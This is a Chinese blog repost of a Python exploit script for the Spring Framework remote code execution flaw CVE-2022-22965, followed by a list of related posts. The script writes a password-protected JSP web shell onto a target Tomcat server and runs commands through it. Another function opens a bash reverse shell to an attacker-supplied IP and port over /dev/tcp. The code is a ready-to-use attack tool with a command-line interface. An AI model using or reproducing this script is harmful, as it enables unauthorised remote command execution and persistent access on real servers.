首页 > 其他分享 >CVE-2022-22965

CVE-2022-22965

时间:2023-05-23 18:35:12浏览次数:32  
标签:parser url ip args 22965 2022 encoded import CVE

# CVE-2022-22965:Spring远程代码执行
import requests
import argparse
import time
import re
import base64
import urllib.parse

header = {
    "Accept-Encoding": "gzip, deflate",
    "Accept": "*/*",
    "Accept-Language": "en",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
    "Connection": "close",
    "suffix": "%>//",
    "c1": "Runtime",
    "c2": "<%",
    "DNT": "1"

}
header1 = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",

}


def poc(ip, cmd):

    payload = "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    cmd1 = cmd.encode('utf-8')
    cmd2 = urllib.parse.quote(cmd1)
    payload1 = "/tomcatwar.jsp?pwd=j&cmd=" + cmd2
    payload2 = "/tomcatwar.jsp"
    ceshi = requests.get(url=ip + payload2)
    if ceshi.status_code != 200:
        rizhi = requests.get(url=ip + payload, headers=header)

        if rizhi.status_code ==200:
            time.sleep(10)
            ruslut = requests.get(url=ip + payload1,headers=header1,verify=False)  
            c = ruslut.text
            a = c.split('//') 
            print(a[0]) 
            print('无CVE-2022-22965漏洞')
    else:
        ruslut = requests.get(url=ip + payload1,headers=header1,verify=False)
        c = ruslut.text
        a=c.split('//') 
        print(a[0]) 
def shell(url,ip,prot):

    ul="/tomcatwar.jsp?pwd=j&cmd="
    sh=f'/bin/bash -i >& /dev/tcp/{ip}/{prot} 0>&1'

    data1 = sh.encode('utf-8')
    encoded_data = base64.b64encode(data1)
    encoded_sh = encoded_data.decode('utf-8')
    shel='bash -c {echo,123}|{base64,-d}|{bash,-i}'
    new_text = shel.replace("123", encoded_sh)
    data = new_text.encode('utf-8')
    encoded_shell = urllib.parse.quote(data)
    payload = url+ul+encoded_shell
    print(payload)
    c=requests.get(url=payload,headers=header1,verify=False)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', dest='url', help="输入url")
    parser.add_argument('-c', '--cmd', dest='cmd', default='pwd', help='输入命令(执行带参数的命令将参数双引起来)')
    parser.add_argument('-i', '--ip', dest='ip', help='输入反弹ip')
    parser.add_argument('-p', '--prot', dest='prot', help='输入反弹端口')
    parser.add_argument('-V', '--version', action='version', version='%(prog)s 1.0')
    args = parser.parse_args()
    if args.url and args.ip and args.prot:
        shell(args.url,args.ip,args.prot)
    elif args.url:
        poc(args.url, args.cmd)
    else:
        print("-h 帮助信息 ")


if __name__ == '__main__':
    main()





标签:parser,url,ip,args,22965,2022,encoded,import,CVE
From: https://www.cnblogs.com/crayonxiaoxin/p/17426055.html

相关文章

  • CVE-2022-22963
    #SpringCloudFunctionSpEL代码注入(CVE-2022-22963)importrequestsimportargparseimportbase64headers={"Accept-Encoding":"gzip,deflate","Accept":"*/*","User-Agent":"Mozilla......
  • CVE-2022-22947
    #CVE-2022-22947:SpringCloudGateway远程代码执行importrequestsimportjsonimportsysimportbase64importargparseimportreurl1='/actuator/gateway/routes/hacktest'url2='/actuator/gateway/refresh'url3='/actuator/gateway/routes/......
  • JOISC 2022 题解
    JOISC2022Day1监狱Jail首先我们发现操作一定是给所有人排序,然后按照顺序直接从\(s_i\)挪到\(t_i\),要求是对于\(i\),所有在它之前挪的\(t\)不能在\(s_i\tot_i\)上,所有在它之后挪的\(s\)不能在\(s_i\tot_i\)上。有了这个条件我们就可以\(O(n^2)\)建图。但是这样......
  • 在 Windows Server 2022 中,微软取消了一些以前的功能。以下是一些被取消的功能
    在WindowsServer2022中,微软取消了一些以前的功能。以下是一些被取消的功能:InternetStorageNameService(iSNS):iSNS是一个网络服务协议,为iSCSI设备提供自动发现和配置。在WindowsServer2022中,iSNS被取消了,建议使用其他的自动发现和配置方法。PeerNameResolu......
  • 在Windows Server 2022中使用Microsoft Deployment Toolkit(MDT)时,Bootstrap.ini文件是
    在WindowsServer2022中使用MicrosoftDeploymentToolkit(MDT)时,Bootstrap.ini文件是用于启动和定制Windows预安装环境(WinPE)的关键文件。以下是常见的Bootstrap.ini参数及其描述:[Settings]:指定设置组。Priority:指定Bootstrap.ini的优先级,以确定哪个Bootstrap.ini文件将被使用(如......
  • Windows server 2022 个人使用 优化批处理batch
    Windowsserver2022个人使用一些优化@echooffregadd"HKLM\SOFTWARE\Microsoft\ActiveSetup\InstalledComponents\{A509B1A7-37EF-4b3f-8CFC-4F3A74704073}"/v"IsInstalled"/tREG_DWORD/d00000000/fregadd"HKLM\SOFTWARE\Microsof......
  • 在Windows Server 2022中使用Microsoft Deployment Toolkit(MDT)时,可使用Rules(规则)文件
    在WindowsServer2022中使用MicrosoftDeploymentToolkit(MDT)时,可使用Rules(规则)文件来配置和自定义部署过程。以下是常见的Rules参数及其描述:UserDomain:指定要加入的域的名称。UserID和UserPassword:指定加入域所需的管理员帐户凭据。TimeZoneName:指定安装期间使用的时区。Jo......
  • 【DSP视频教程】DSP视频教程第12期:TI开源分享IQmath DSP源码,适用于所有Cortex-M内核,本
    视频教程汇总帖:https://www.armbbs.cn/forum.php?mod=viewthread&tid=110519 今年TI推出MSPM0系列产品配套的SDK软件包里面将此库开源了,之前的时候也移植过IQmatb,不过只有库版本,这次竟然开源了,确实是不可多得的好资源。这个是定点库,非常适合用于M0,  M0+,  M3和不带硬件F......
  • Audition 2022 for Mac软件安装包下载Au 2022软件安装教程
    [名称]:Audition2022[大小]:493MB[语言]:简体中文 [安装环境]:MacOS10.15及以上[是否支持M系列芯片]:支持[简介]:Audition是一种完善工具集,其中包括用于对音频内容进行创建、混音和编辑的多音轨、波形和光谱显示。这一强大的音频工作站旨在加快视频制作工作流程和音频修整的速度,并且......
  • ID2022Mac软件安装教程Indesign 2022 for Mac软件安装包下载
    [名称]:InDesign2022[大小]:878MB[语言]:简体中文 [安装环境]:MacOS10.15及以上[是否支持M系列芯片]:支持[简介]:InDesign是一个定位于专业排版领域的设计软件。借助这款业界领先的页面设计和版面应用程序,可以制作、印前检查和发布用于印刷和数字媒体出版的精美文档。InDesign拥有制......